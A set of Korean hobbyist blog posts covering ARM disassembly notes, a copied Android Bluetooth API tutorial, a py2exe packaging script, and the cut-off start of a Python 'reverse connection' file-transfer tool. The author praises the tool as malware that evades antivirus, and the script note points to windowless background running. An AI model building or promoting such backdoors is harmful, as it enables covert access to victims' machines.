노란색 선부분은 정확히 파악은 안되었으나 현재 PC 값을 스택에 push 해 놓고 임시로 저장해 놓는것 같다.

INTEL CPU에 비교하면 프롤로그 부분이다.




 
아래부분이 버퍼를 선언하는 부분이다. 기본 4만큼 빼주는 부분과  scanf를 위해 버퍼크기를 100만큼 더 빼주는 부분을 scanf 부분만 볼 수 있다. 그리고 LDR 로 적재 시킨다. 

printf 하는 부분에 r0 값에는 aaaa 라는 값이 들어가 있음을 확인 할 수 있다. 이 텍스트 값역시 적재 되는것이다.


이 LDR 부분은 텍스트를 저장해놓거나 변수를 미리 선언해 놓았을때 항상 생긴다. 이러한 부분이 없다면 생기지 않는다.

예시코드는 아래에 설명 하겠다.





 위코드는 그냥 외부함수에 인자값 숫자 3개를 입력받아 출력해 주는 부분이다.


이부분에는 LDR 부분이 없고 r0 r1 r2 부분에 순차적으로 1 2 3 을 넣고 branch 로 test를 분기한다. 그러면 순서대로 들어가는 것이다. 


간단한 내용인데, ARM 환경을 접할 기회가 없다보니 비교만으로 분석을 하고 있게 된다. 좀 좋은 서적이 있으면 좋을거같은데.. 너무 전문서적말고 분석을 위한 서적이 있었음 좋겠다.



Posted by k1rha
2012. 10. 1. 18:47

[출처 :  정말 죄송합니다 복사하고 어딘지 놓쳤습니다. 알려주시면 감사하겠습니다. ]


블루투스 권한 설정

 

앱에서 블루투스 기능을 사용하기 위해서는 먼저 적어도 BLUETOOTH, BLUETOOTH_ADMIN 중 하나는 선언해야 한다.

연결, 연결 수락, 데이터 교환 등의 블루투스 통신을 진행하고 싶으면 BLUETOOTH 권한을 요청해야 하며 블루투스 설정을 조작하거나 초기 장비를 검색하기 위해서는 BLUETOOTH_ADMIN 권한을 요청해야 한다.

 

대부분의 앱은 로컬 블루투스 장비들을 검색하기 위해 전적으로 이 권한을 필요하다. 만약 사용자가 블루투스 설정을 변경하는 파워 관리자일 필요가 없다면 이 권한을 요청할 필요는 없다. 만약 BLUETOOTH_ADMIN 권한을 가지면 BLUETOOTH 권한에서 허가된 기능도 수행할 수 있다.

 

앱의 매니페스트에 블루투스 권한을 선언은 다음과 같이 <uses-permission> 엘리먼트를 사용하면 된다.

 

<manifest ...]] >

<uses-permission android:name="android.permission.BLUETOOTH"/>

...

</manifest>

 

블루투스 설정

 

앱이 블루투스 상에서 통신을 하기 이전에 먼저 블루투스가 장비에서 지원하는지와 활성화되어 있는지를 검증해야 한다.

 

만약 블루투스가 지원되지 않는다면 앱의 어떠한 블루투스 기능도 자연스럽게 비활성화 시켜야 하며 만약 블루투스가 지원되지만 비활성화되어져 있다면 앱을 떠나지 않고 블루투스를 활성화 시키도록 요청할 수 있다.

 

이러한 작업은 BluetoothAdapter 를 사용하여 처리한다.

 

1. BluetoothAdapter 획득

 

BluetoothAdapter는 어떠한 블루투스 액티비티에서 요청할 수 있다. BluetoothAdpater를 얻기 위해서는 static getDefaultAdapter() 메서드를 호출한다. 이 메서드는 장비가 소유하고 있는 블루투스 어댑터에 대한 BluetoothAdapter 객체를 반환하며 이 어댑터는 전체 시스템에서 하나만 존재한다. 그리고 앱은 이 객체를 사용하여 어댑터와 연동할 수 있다. 만약 getDefaultAdapter()가 null을 반환하면 장비는 블루투스를 지원하지 않는 것이며 블루투스에 관한 어떠한 작업도 할 수 없다.

 

BluetoothAdapter mBluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
if (mBluetoothAdapter == null) {
    // Device does not support Bluetooth
}

 

2. 블루투스 활성화

 

다음으로 블루투스를 활성화 시켜야 하는데 먼저 isEnabled() 메서드를 통해 현재 활성화 상태인지를 확인할 수 있다. 만약 false이면 블루투스가 비활성화 되어져 있는 것으로 활성화 상태로 변경하려면 ACTION_REQUEST_ENABLE 액션 인텐트와 함께 startActivityForResult()를 호출해야 한다. 이것은 앱의 중지 없이 시스템의 설정을 통해 블루투스를 활성화 시키는데 목적이 있는 요청이다.

if (!mBluetoothAdapter.isEnabled()) {
    Intent enableBtIntent = new Intent(BluetoothAdapter.ACTION_REQUEST_ENABLE);
    startActivityForResult(enableBtIntent, REQUEST_ENABLE_BT);
}

 

위의 코드가 실행되면 블루투스를 활성화 시키기 위한 사용자 권한을 요청하는 다이얼로그 장이 표시되며 사용자가 "Yes"를 선택하면 시스템은 블루투스를 활성화 시키는 작업을 수행하며 활성화가 완료되면 앱으로 다시 복귀된다.

 

만약 블루투스 활성화가 성공하면 복귀된 액티비티는 OnActivityResult() 메서드에서 result code에 RESULT_OK를 받을 것이고 만약 "No"를 선택하여 블루투스를 활성화 시키지 않았다면 result code는 RESULT_CANCELED 이다.

 

옵션으로 앱은 시스템에서 블루투스 상태가 변경되는 사항을 알아내기 위해 ACTION_STATE_CHANGED 브로드캐스트 인텐트를 받을 수 있도록 설정할 수 있다. 이 브로드캐스트는 EXTRA_STATE와 EXTRA_PREVIOUS_STATE 에 대한 정보가 포함되어져 있으며 이는 각각 이전과 새롭게 설정된 상태를 나타낸다. 이 extra 데이터에 허용되는 값은 STATE_TURNING_ON, STATE_ON, STATE_TURNING_OFF, STATE_OFF 가 있으며 이 데이터를 앱이 실행되고 있는 동안 블루투스 상태가 변화되는 것을 대처할 수 있다.

 

검색 활성화를 동작 시키면 자동으로 블루투스가 활성화될 것이다. 만약 이것을 블루투스 액티비티가 진행되기 전에 설정하면 2. 블루투스 활성화는 처리하지 않아도 된다.

 

창비 찾기

 

BluetoothAdapter를 사용하면 장비 탐색 혹은 페어링된 장비리스트를 질의하는 방법으로 원격의 블루투스 장비들을 찾을 수 있다.

 

장비 탐색은 로컬 영역에서 활성화된 블루투스 장비를 찾는 스캐닝 작업을 수행하고 각각에 대해 몇가지 정보를 요청한다. (때때로 이것은 발견, 탐구 혹은 스캔닝 이라고 한다.) 그러나 이것도 로컬 영역 내의 블루투스 장비가 탐색시 발견될 수 있도록 활성화 되어져 있을 때만 가능하다.

 

만약 장비가 탐색되면 장비 이름, 클래스 그리고 유일한 MAC 주소와 같은 공유 정보를 가지고 탐색 요청에 대해 응답할 것이다. 이 정보는 탐색 작업을 수행중인 장비는 탐색된 장비와의 연결을 초기화하는데 사용할 수 있다.

 

처음으로 원격 장비와 연결자를 만들 때 사용자에게 자동으로 페어링 요청이 보여진다. 장비가 페어링될 때 장비의 기본 정보(장비 이름, 클래스 그리고 MAC 주소)는 저장되고 그후 블루투스 API들을 통해 읽을 수 있다.

 

원격 장비가 잘 알려진 MAC 주소를 사용할 경우 같은 범위안에 있다면 연결자를 탐색 작업 없이 어떤때든지 초기화할 수 있다.

 

페어링됨과 연결됨의 차잇점을 알아야 한다. 페어링된다는 것은 2개의 장비가 인증에서 사용할 수 있는 link-key 를 공유하고 각각 상대방과 암호화된 연결자를 수립할 수 있는 조건을 갖추는 등 서로의 존재를 아는 것을 말한다.

 

연결된다는 것은 장비가 현재 RFCOMM 채널을 공유하고 각각의 장비 간에 데이터를 송수신할 수 있는 것을 말한다.

현재 안드로이드 블루투스 API들은 장비들이 RFCOMM 연결이 되기 이전에 페어링되기를 요청하고 있다. (페어링은 당신이 블루투스 API들을 이용해 암호화된 연결자를 초기화할 때 자동으로 진행된다.)

 

다음 섹션은 페어링된 장비들을 찾는 방법과 장비 탐색을 통해 새로운 장비를 탐색하는 것을 설명하겠다.

 

참고

안드로이드 장비는 기본적으로 탐색되지 않게 되어져 있다. 사용자는 환경설정을 통해 제한된 시간동안 장비가 탐색될 수 있도록 하거나 앱이 앱의 동작을 멈추지 않고 사용자가 탐색 기능을 활성할 수 있도록 요청할 수 있다.

 

페어링된 장비들을 질의하기

 

장비 탐색을 진행하기에 앞서 만약 연결하고자 하는 장비가 이미 페어링된 것인지를 페어링된 장비들의 집합을 질의할 필요가 있다. 이 작업은 getBondedDevices() 메서드를 호출하는 것으로 페어링된 장비들을 나타내는 BluetoothDevice들의 집합을 반환한다. 예를 들어 다음은 모든 페어링된 장비들을 질의하고 사용자에게 ArrayAdapter를 이용하여 장비의 이름을 보여주는 코드이다.

 

Set<BluetoothDevice> pairedDevices = mBluetoothAdapter.getBondedDevices();
// If there are paired devices
if (pairedDevices.size() > 0) {
    // Loop through paired devices
    for (BluetoothDevice device : pairedDevices) {
        // Add the name and address to an array adapter to show in a ListView
        mArrayAdapter.add(device.getName() + "\n" + device.getAddress());
    }
}

 

BluetoothDevice 객체로 부터 연결을 위해 필요한 것은 MAC 주소이다. 여기서는 단순히 사용자에게 장비의 MAC 주소를 표시하지만 뒤에 연결을 초기화하는 데 사용하되는 것을 자세히 살펴보도록 하겠다.

 

장비들 탐색

 

장비 탐색을 시작하기 위해서는 단순히 startDiscovery() 를 호출하면 된다. 이 메서드의 진행은 비동기적이고 탐색이 성공적으로 시작되었는지 아닌지에 대한 boolean 형식의 결과값을 반환한다. 탐색 작업은 보통 12초 정도이며 페이지에는 스캔해서 찾은 장비들의 블루투스 이름을 표시한다.

 

앱은 각 장비 탐색에 대한 정보를 받으려면 ACTION_FOUND 인텐트에 대한 브로드캐스트 리시버를 등록해야 한다. 장비를 찾을 때마다 시스템은 ACTION_FOUND 인텐트를 브로드캐스트 한다.이 인텐트는 BluetoothDevice 객체가 있는 EXTRA_DEVICE와 BluetoothClass 객체가 있는 EXTRA_CLASS 를 포함하고 있다.

 

브로드캐스트 리시버에 대한 예제는 다음과 같다.

// Create a BroadcastReceiver for ACTION_FOUND
private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
    public void onReceive(Context context, Intent intent) {
        String action = intent.getAction();
        // When discovery finds a device
        if (BluetoothDevice.ACTION_FOUND.equals(action)) {
            // Get the BluetoothDevice object from the Intent
            BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
            // Add the name and address to an array adapter to show in a ListView
            mArrayAdapter.add(device.getName() + "\n" + device.getAddress());
        }
    }
};
// Register the BroadcastReceiver
IntentFilter filter = new IntentFilter(BluetoothDevice.ACTION_FOUND);
registerReceiver(mReceiver, filter); // Don't forget to unregister during onDestroy

 

연결을 초기화하는데 필요한 정보인 MAC 주소는 BluetoothDevice 객체에 있다.

 

주의

장비 탐색 진행은 블루투스 어댑터에게 무겁고 많은 자원을 소비하는 작업이다. 당신이 연결하기 위한 장비를 찾았다면 항상 연결을 시도하기 전에 cancelDiscovery() 호출을 통해 탐색 작업을 중지시켜야 한다. 또한 만약 장비와 연결시 장비 탐색을 중지시키지 않는다면 연결에 대한 대역폭 활용을 감소시키므로 반드시 연결되어있는 동안은 탐색 작업이 되지 않도록 해야 한다.

 

탐색 활성화

 

만약 장비를 다른 장비들에 탐색될 수 있도록 만들고 싶다면 ACTION_REQUEST_DISCOVERABLE 액션 인텐트와 함께 startActivityForResult(Intent, int)를 호출한다. 이것은 앱이 중지되지 않고 환경설정의 탐색 모드를 활성화 시킨다.

 

기본적으로 장비는 120초 동안 탐색될 수 있는 상태가 되지만 이를 변경하고 싶다면 EXTRA_DISCOVERABLE_DURATION의 extra 값을 인텐트에 추가하여 호출하면 된다. 앱은 최고 3600 초을 설정할 수 있다. 그리고 0값이면 항상 탐색 모드를 유지하겠다는 의미이다. 만약 0미만이거나 3600 보다 크면 자동으로 120초로 설정된다.

 

다음은 300초로 설정하는 예제이다.

 

Intent discoverableIntent = new
Intent(BluetoothAdapter.ACTION_REQUEST_DISCOVERABLE);
discoverableIntent.putExtra(BluetoothAdapter.EXTRA_DISCOVERABLE_DURATION, 300);
startActivity(discoverableIntent);

 

위의 코드가 실행되면 다음과 같이 장비가 탐색될 수 있도록 하는 사용자 권한을 요청하는 다이얼로그가 보여지며 "Yes"를 선택하면 특정한 시간(여기서는 300초)동안 탐색 가능 상태가 된다.

 

사용자의 선택 결과 값은 액티비티의 onActivityResult()를 통해 전달 받으며 사용자가 "No"를 선택했거나 에러가 발생했으면 Activity.RESULT_CANCELED 가 결과 코드로 전달될 것이다.

 

참고

만약 블루투스가 장비에 활성화되어 있지 않다면 장비 탐색 가능 모드 작업은 자동으로 활성화 시킬 것이다.

 

장비는 자동으로 일정 시간동안 탐색 가능 모드를 유지할 것이고 만약 탐색 가능 모드에 대한 설정이 변하는 것을 알아내고 싶다면 ACTION_SCAN_MODE_CHANGED 인텐트에 대한 브로드캐스트 리시버를 등록하면 된다.

 

전달되는 인텐트안에는 현재의 스캔 모드인 EXTRA_SAN_MODE 와 이전 스캔 모드인 EXTRA_PREVIOUS_SCAN_MODE가 있다. 여기에 가능한 값은 SCAN_MODE_CONNECTABLE_DISCOVERABLE, SCAN_MODE_CONNECTABLE 또는 SCAN_MODE_NONE 이다. 이것은 각각 탐색 가능 모드, 연결을 받아들일 수 있는 탐색 불가능 모드, 연결을 받아들일 수 없는 탐색 불가능 모드를 나타낸다.

 

만약 원격 장비와 연결을 초기화 할 것이면 장비 탐색을 활성화할 필요는 없다. 앱은 원격 장비를 탐색하여 연결을 초기화할 수 있기 때문에 장비 탐색 활성화는 오직 앱에서 서버 소켓을 통해 연결을 수락할 때에만 필요하다.

 

장비와의 연결

 

2개의 장비에서 실행되고 있는 앱 사이 연결자를 생성하기 위해서는 서버 사이드와 클라이언트 사이드를 구현해야 한다.

 

하나의 장비는 서버 소켓을 열고 다른 한 장비는 서버 장비의 MAC 주소를 사용하여 연결자를 초기화해야 한다. 서버와 클라이언트는 같은 RFCOMM 채널에 대한 연결된 BluetoothSocket을 가질 때 연결되었다고 할 수 있으며 이것을 통해 각 장비는 input과 output 스트림들을 얻어 데이터 전송을 시작할 수 있다. 이것에 대한 것은 연결자 관리에서 자세히 설명하고 여기서는 2개의 장비간에 연결자를 초기화하는 법을 살펴보겠다.

 

서버 장비와 클라이언트 장비는 각각 다른 방법으로 BluetoothSocket을 얻는다. 서버는 연결을 받아들일 때 얻고 클라이언트는 서버에 대한 RFCOMM 채널을 오픈할 때 얻는다.

 

구현 기술 중 하나는 각각 장비가 서버 소켓을 오픈하고 연결 요청을 수락하는 서버와 같이 준비시키고 그 다음 장비들은 상대방 장비와 클라이언트로서 연결을 시작하는 것이다. 아니면 다른 구현 방법은 명시적으로 "host" 로서 수용하는 서버 소켓을 오픈하고 다른 장비는 단순히 연결을 시작하는 것이다.

 

참고

만약 2개의 장비가 이전에 페어링되지 않았다면 안드로이드 프레임워크는 자동으로 페어링 요청 노티피케이션을 보여주거나 연결을 수행하는 동안 사용자에게 다이얼로그를 보여준다. 그래서 장비들에 연결하기 위해 수락될 때 앱은 장비들이 페어링되었는지 아닌지를 신경쓸 필요가 없다. RFCOMM 연결은 사용자가 성공적으로 페어링될 때 까지 블럭킹되거나 사용자의 페어링 취소 혹은 타임 아웃으로 실패될 것이다.

 

서버로 연결

 

2개의 장비를 연결하려면 하나는 서버로서 BluetoothServerSocket을 오픈하여야 한다.

서버 소켓은 연결 요청을 듣기 위함이고 하나가 연결을 될 때 연결된 BluetoothSocket을 제공받는다.

BluetoothSocket이 BluetoothServerSocket으로 부터 획득되면 BluetoothServerSocket은 더이상 연결을 받지 않아도 된다면 폐기시켜도 괜찮다.

 

서버 소켓을 설정하고 연결을 수락하는 방법은 다음과 같다.

 

1. listenUsingRfcommWithServiceRecord(String, UUID)메서드를 호출하여 BluetoothServerSoket을 얻는다.

listenUsingRfcommWithServiceRecord(String, UUID)메서드의 String 형식의 파라메터는 앱에서 제공하는 서비스를 구분시킬 수 있는 문자열로서 시스템은 자동으로 장비에 Service Discovery Protocol(SDP) 데이터베이스 엔트리를 저장한다. (이름은 문자를 사용하면 되고 단순히 앱의 이름을 사용해도 된다.) UUID는 또한 SDP 엔트리 안에 포함되어 저장되고 클라이언트 장비에 대한 연결 동의에 대해 기본 정보가 된다. 클라이언트는 연결을 원하는 서비스을 유일하게 구분하는 UUID 정보를 함께 보내 이 장비에 연결을 시도할 것이다. UUID가 매칭이 될 때 연결이 수락된다.

UUID에 대해서

Universally Unique Identifier(UUID)는 정보가 유일하게 구분되게 하는데 사용되는 문자열로 된 ID로 128-bit 형식을 가져야 한다.UUID의 포인트는 랜덤으로 선택해도 충돌하지 않을 정도로 충분히 크다는 것이다. 이 경우에는 앱의 블루투스 서비스를 구분하는데 사용하는 것이다. 당신은 UUID 클래스의 fromString(String)을 사용하여 생성할 수 있다.

 

2. accept() 메서드를 호출하여 연결 요청을 듣기 시작한다.

 

이것은 블럭킹 호출이며 연결이 수락되거나 예외사항이 발생할 때 반환한다.

연결은 원격 장비가 서버 소켓을 생성할 때 등록한 UUID와 매칭되는 UUID를 가지고 연결 요청을 보낼 때만 연결을 수락한다. accept()는 연결을 수락하면 원격 장비와 연결된 BluetoothSocket 객체를 반환한다.

 

3. 만약 추가적인 연결을 수락하지 않으려면 close() 메서드를 호출한다.

 

이 메서드는 서버 소켓을 릴리즈 하고 모든 자원을 시스템을 반환한다. 그러나 accept()에 의해 반환된 연결된 BluetoothSocket은 종료되지 않는다.

이러한 모든 BluetoothServerSocket 혹은 BluetoothSocket에 관한 작업은 앱에서 별도의 쓰레드를 사용하여 처리한다. BluetoothServerSocket과 BluetoothSocket의 모든 메서드들은 thread-safe 하다.

다음은 쓰레드로 연결을 수락하는 서버 컴포넌트를 구현한 예제이다.

 

private class AcceptThread extends Thread {
    private final BluetoothServerSocket mmServerSocket;

    public AcceptThread() {
        // Use a temporary object that is later assigned to mmServerSocket,
        // because mmServerSocket is final
        BluetoothServerSocket tmp = null;
        try {
            // MY_UUID is the app's UUID string, also used by the client code
            tmp = mBluetoothAdapter.listenUsingRfcommWithServiceRecord(NAME, MY_UUID);
        } catch (IOException e) { }
        mmServerSocket = tmp;
    }

    public void run() {
        BluetoothSocket socket = null;
        // Keep listening until exception occurs or a socket is returned
        while (true) {
            try {
                socket = mmServerSocket.accept();
            } catch (IOException e) {
                break;
            }
            // If a connection was accepted
            if (socket != null) {
                // Do work to manage the connection (in a separate thread)
                manageConnectedSocket(socket);
                mmServerSocket.close();
                break;
            }
        }
    }

    /** Will cancel the listening socket, and cause the thread to finish */
    public void cancel() {
        try {
            mmServerSocket.close();
        } catch (IOException e) { }
    }
}

 

위의 예제는 오직 하나의 연결만 허용하는데 연결이 수락되자 마자 BluetoothSocket을 획득하고 획득한 BluetoothSocket을 별도의 쓰레드로 보내고 클라이언트 코드에서 하는 것과 같은 connect() 메서드를 호출하지 않는다.

 

manageConnectedSocket() 은 앱에서 데이터를 송수신하기 위한 쓰레드를 초기화하는 메서드이다. 이 함수는 뒤의 연결 관리에서 설명하도록 하겠다.

일반적으로 예제에서와 같이 연결을 받자 마자 BluetoothServerSocket을 종료한다. 이것은 close() 메서드를 호출하면 되고 또한 별도의 서버 소켓을 종료할 수 있는 별도의 public 메서드를 정의하여 다른 쓰레드에서 호출하여 종료시킬 수도 있다.

 

클라이언트로 연결

 

원격 장비에 연결하기 위해 먼저 원격 장비에 대한 BluetoothDevice 객체를 얻어야 한다. (BluetoothDevice 객체를 찾는 방법은 위의 장비 찾기 섹션을 참조하기 바란다.)

BluetoothDevice를 통해 BluetoothSocket을 얻고 연결을 시도한다.

 

다음은 이에 대한 기본 흐름이다.

 

1. BluetoothDevice의 createRfcommSocketToServiceRecord(UUID) 메서드를 통해 BluetoothSocket을 얻는다.

 

이 메서드는 BluetoothDevice에 연결할 수 있도록 BluetoothSocket을 초기화하며 여기에 파라메터로 보내는 UUID는 서버에서 BluetoothServerSocket을 오픈할 때 사용한 UUID와 일치해야 한다 (listenUsingRfcommWithServiceRecord(String, UUID)). 같은 UUID 문자열을을 하드코딩하고 서버 코드와 클라이언트 코드에서 공유하여 사용하는 것이 좋다.

 

2. connect() 메서드를 호출하여 연결을 시도한다.

 

이 메서드 호출은 시스템이 UUID를 매치시키기 위하여 원격 장비의 SDP를 조회한다. 만약 성공적으로 조회되면 원격 장비는 연결을 수락하고 연결되어 있는 동안 사용할 수 있는 RFCOMM 채널을 공유하고 메서드를 마친다. 만약 연결 실패 혹은 타임아웃(대략 12초)이 되면 예외사항이 발생한다.

connect() 메서드는 블럭킹 호출이므로 항상 메인 액티비티 쓰레드와 별도의 쓰레드로 동작해야 한다.

 

다음은 블루투스 연결을 시도하는 쓰레드의 기본 코드이다.

 

private class ConnectThread extends Thread {
    private final BluetoothSocket mmSocket;
    private final BluetoothDevice mmDevice;

    public ConnectThread(BluetoothDevice device) {
        // Use a temporary object that is later assigned to mmSocket,
        // because mmSocket is final
        BluetoothSocket tmp = null;
        mmDevice = device;

        // Get a BluetoothSocket to connect with the given BluetoothDevice
        try {
            // MY_UUID is the app's UUID string, also used by the server code
            tmp = device.createRfcommSocketToServiceRecord(MY_UUID);
        } catch (IOException e) { }
        mmSocket = tmp;
    }

    public void run() {
        // Cancel discovery because it will slow down the connection
        mBluetoothAdapter.cancelDiscovery();

        try {
            // Connect the device through the socket. This will block
            // until it succeeds or throws an exception
            mmSocket.connect();
        } catch (IOException connectException) {
            // Unable to connect; close the socket and get out
            try {
                mmSocket.close();
            } catch (IOException closeException) { }
            return;
        }

        // Do work to manage the connection (in a separate thread)
        manageConnectedSocket(mmSocket);
    }

    /** Will cancel an in-progress connection, and close the socket */
    public void cancel() {
        try {
            mmSocket.close();
        } catch (IOException e) { }
    }
}

 

연결을 시도하기에 앞서 먼저 cancelDiscovery()를 호출한 것을 주의깊게 살펴보기 바란다. 당신은 장비 검색이 진행이 되고 있던 아니던지 안전하게 처리하려면 항상 이 메서드를 호출해야 한다. (만약 체크를 먼저 하고 싶으면 isCovering() 메서드를 호출)

 

manageConnectedSocket()은 데이터를 송수신하는 쓰레드를 초기화하는 앱 안에서의 메서드이다. 이것은 다음 섹션에서 설명하도록 하겠다.

BluetoothSocket을 다 사용하면 항상 close() 메서드를 호출하여 자원을 시스템에 되돌려 줘야 한다.

 

연결 관리

 

성공적으로 2개의 장비가 연결되면 양쪽 다 BluetoothSocket을 갖게 된다. 이것을 통해 장비 간에 데이터를 공유하면서 재미있는 기능을 만들어 나갈 수 있다.

데이터를 주고 받는 것은 의외로 간단하다.

 

1. 소켓을 통해 송수신을 핸들링 할 수 있는 InputStream과 OutputStream을 getInputStream()과 getOutputStream()을 통해 얻는다.

 

2. 이 스트림들의 read(byte[])와 write(byte[]) 메서드를 통해 데이터를 읽고 쓴다.

 

이것이 데이터 송수신의 모든 것이다. 물론 구현은 좀더 상세하게 고려해야 할 것이다.

 

먼저 모든 스트림을 읽고 쓰는 작업은 별도의 쓰레드를 선언하여 구현한다. 왜냐 하면 read(byte[])와 write(byte[]) 메서드 둘다 블럭킹 호출이기 때문이다.

 

read(byte[]) 메서드는 스트림으로 부터 읽기를 마칠 때까지 블럭킹된다. write(byte[]) 메서드는 보통 블럭킹되지 않지만 만약 원격 장비에서 충분히 빠르게 read(byte[]) 메서드를 호출하지 않고 버퍼가 꽉 찰 경우 흐름에 따라 블러킹될 수 있다. 그래서 쓰레드의 메인 루프에서는 InputStream에서 데이터를 읽는 작업을 하고 쓰레드의 별도 public 메서드를 선언하여 OutputStream에 데이터를 쓰는 작업을 처리하도록 구현한다.

 

다음은 위에서 설명한 프로세스에 대한 간단한 예시이다.

 

/p>

private class ConnectedThread extends Thread {
    private final BluetoothSocket mmSocket;
    private final InputStream mmInStream;
    private final OutputStream mmOutStream;

    public ConnectedThread(BluetoothSocket socket) {
        mmSocket = socket;
        InputStream tmpIn = null;
        OutputStream tmpOut = null;

        // Get the input and output streams, using temp objects because
        // member streams are final
        try {
            tmpIn = socket.getInputStream();
            tmpOut = socket.getOutputStream();
        } catch (IOException e) { }

        mmInStream = tmpIn;
        mmOutStream = tmpOut;
    }

    public void run() {
        byte[] buffer = new byte[1024];  // buffer store for the stream
        int bytes; // bytes returned from read()

        // Keep listening to the InputStream until an exception occurs
        while (true) {
            try {
                // Read from the InputStream
                bytes = mmInStream.read(buffer);
                // Send the obtained bytes to the UI Activity
                mHandler.obtainMessage(MESSAGE_READ, bytes, -1, buffer)
                        .sendToTarget();
            } catch (IOException e) {
                break;
            }
        }
    }

    /* Call this from the main Activity to send data to the remote device */
    public void write(byte[] bytes) {
        try {
            mmOutStream.write(bytes);
        } catch (IOException e) { }
    }

    /* Call this from the main Activity to shutdown the connection */
    public void cancel() {
        try {
            mmSocket.close();
        } catch (IOException e) { }
    }
}

 

생성자에서 한번만 필요한 스트림을 얻고 쓰레드 동작(run())에서 InputStream을 통해 데이터가 도착할 때까지 대기한다.

 

스트림으로 부터 byte[] 데이터가 도착하면 read(byte[]) 메서드는 즉시 반환하고 부모 클래스의 멤버 변수로 있는 Handler를 통해 메인 액티비티에 데이터를 전달한다.

그 다음 다시 스트림으로 부터 다른 byte[] 데이터가 도착할 때 대기한다.

 

데이터를 보내는 것은 메인 액티비티에서 보낼 byte[] 데이터를 파라메터로 하여 쓰레드의 write() 메서드를 호출하도록 구현되어져 있다. 이 메서드는 원격 장비에 데이터를 전송하기 위해 write(byte[]) 메서드를 호출한다.

 

쓰레드의 cancel() 메서드는 언제든지 BluetoothSocket을 종료해야 하므로 아주 중요한 메서드이다. 이 메서드는 모든 블루투스 연결을 통해 진행되는 작업이 마쳐지면 호출되어져야 한다.

 

Profile를 사용하여 작업하기

 

안드로이드 3.0을 시작으로 블루투스 API는 블루투스 Profile을 사용하여 작업할 수 있는 지원사항이 포함되어졌다.

 

블루투스 Profile은 장비간 블루투스 기반 통신에 대해 무선 인터페이스 규약(표준)서이다. 예를 들어 모바일 폰과 무선 헤드셋을 연결하는 Hands-Free profile 이 있다. 양쪽의 장비가 Hands-Free profile을 지원한다면 손쉽게 연결될 것이다.

 

당신은 특정한 블루투스 profile을 지원하기 위해 BluetoothProfile 인터페이스에 대해 클래스들을 구현할 수 있다.

안드로이드 블루투스 API는 다음과 같은 블루투스 profile들에 대해 구현물을 제공하고 있다.

 

  • Headset - Headset profile은 블루투스 헤드셋을 모바일 폰에서 사용할 수 있도록 지원한다. 안드로이드는 BluetoothHeadset 클래스를 제공하며 IPC(Interprocess communication)을 통해 블루투스 Headset 서비스를 제어하는 프록시 클래스 이다. 이것은 블루투스 Headset과 Hands-Free (v1.5) profile을 포함하고 있다. BluetoothHeadset 클래스는 AT 명령어들에 대한 지원 사항이 포함되어져 있다. 좀더 자세한 사항은 Vendor-specific AT commands을 보기 바란다.
  • A2DP (Advanced Audio Distribution Profile) - A2DP는 고품질 오디오가 블루투스 연결을 통해 장비간 전달될 수 있는 방법을 정의하고 있다. 안드로이드는 IPC를 통해 블루투스 A2DP 서비스를 제어할 수 있는 BluetoothA2dp 프록시 클래스를 제공하고 있다.

 

Profile을 사용하여 작업하는 기본 프로세스는 다음과 같다.

 

  1. 블루투스 설정 섹션에서 설명한 방법으로 기본 어댑터를 얻는다.
  2. getProfileProxy() 메서드를 사용하여 profile과 연관된 프록시 객체와 연결하도록 시도한다. 아래 예제의 프록시 객체는 BluetoothHeadset 인스턴스이다.
  3. BluetoothProfile.ServiceListener를 설정한다. 이 리스너는 서버스로 부터 연결되거나 연결 해제될 때 BluetoothProfile IPC 클라이언트들에게 알려주는 역할을 수행한다.
  4. onServiceConnected() 메서드에 profile 프록시 객체를 얻는다.
  5. 일단 profile 프록시 객체를 가지면 연결 상태를 모니터할 수 있고 profile과 연관된 다른 작업을 수행할 수 있다.

 

다음은 headset profile을 제어할 수 있는 BluetoothHeadset 프록시 객체를 얻는 방법에 대한 예시이다.

 

BluetoothHeadset mBluetoothHeadset;

// Get the default adapter
BluetoothAdapter mBluetoothAdapter = BluetoothAdapter.getDefaultAdapter();

// Establish connection to the proxy.
mBluetoothAdapter.getProfileProxy(context, mProfileListener, BluetoothProfile.HEADSET);

private BluetoothProfile.ServiceListener mProfileListener = new BluetoothProfile.ServiceListener() {
    public void onServiceConnected(int profile, BluetoothProfile proxy) {
        if (profile == BluetoothProfile.HEADSET) {
            mBluetoothHeadset = (BluetoothHeadset) proxy;
        }
    }
    public void onServiceDisconnected(int profile) {
        if (profile == BluetoothProfile.HEADSET) {
            mBluetoothHeadset = null;
        }
    }
};

// ... call functions on mBluetoothHeadset

// Close proxy connection after use.
mBluetoothAdapter.closeProfileProxy(mBluetoothHeadset);

 

Vecdor-specific AT commands

 

안드로이드 3.0 부터 headset들에 의해 전송되는 미리 정의된 vendor-specific AT 명령어들(Plantronics +XEVENT 명령어 등)의 시스템 브로드캐스트를 받을 수 있도록 등록할 수 있다.

 

예를 들어 앱은 연결된 장비의 배터리 량을 가리키는 브로드캐스트들을 수신받을 수 있고 사용자에 대해 전달받을 수 있으며 필요한 다른 액션을 획득할 수 있다.

 

headset에 대한 vendor-specific AT 명령어들을 핸들링하기 위해서는 ACTION_VENDOR_SPECIFIC_HEADSET_EVENT 인텐트에 대한 브로드캐스트 리시버를 생성하여 등록하면 된다.


Posted by k1rha
2012. 9. 26. 21:45

from distutils.core import setup

import py2exe

import glob


setup(

    #console = ['test.py'],                         

    windows = [{'script':'client.py', 'icon_resources':[(1,'project.ico')]}],                         

    options = { 'py2exe': { 'compressed':1         

                            ,'optimize':2           

                            ,'dist_dir':'./dist'    

                            ,'bundle_files':1      

                            }},

    zipfile = None,                                 

    data_files = [('img', glob.glob('img/*.bmp'))] 

)



위코드중 console 모드와 windows 모드가 있다. windows 모드는 백그라운드로 돌아감.. 
icon_resourse 를 바꾸면 아이콘 모양도 바꿀수 있다. 

Posted by k1rha
2012. 9. 26. 20:37

지난 글에 이어서 리버스 커넥션 파일에 업로드 다운로드 기능을 추가해 보았다.

조금은 억지로 막만든 경향이 있어 코드가 깔끔치는 않지만 파이썬을 시작한지 얼마 안된 나로썬 결과가 뿌듯하다.

백신에 안잡힌다는 매력있는 파이썬 악성코드 인듯..


같은서버에 테스트 하기위해 파일을 다운로드 받거나 업로드 받으면 


같은 파일명이 아닌 _[파일명] 으로 저장되게 해 놓았다.




Server 

 import socket

import os

import time

PORT=1235

TIME_SLEEP = 1

########################################################################

## DEFINE

########################################################################

def fileC2S(conn,fileName):

print ":: DownLoading... ::"
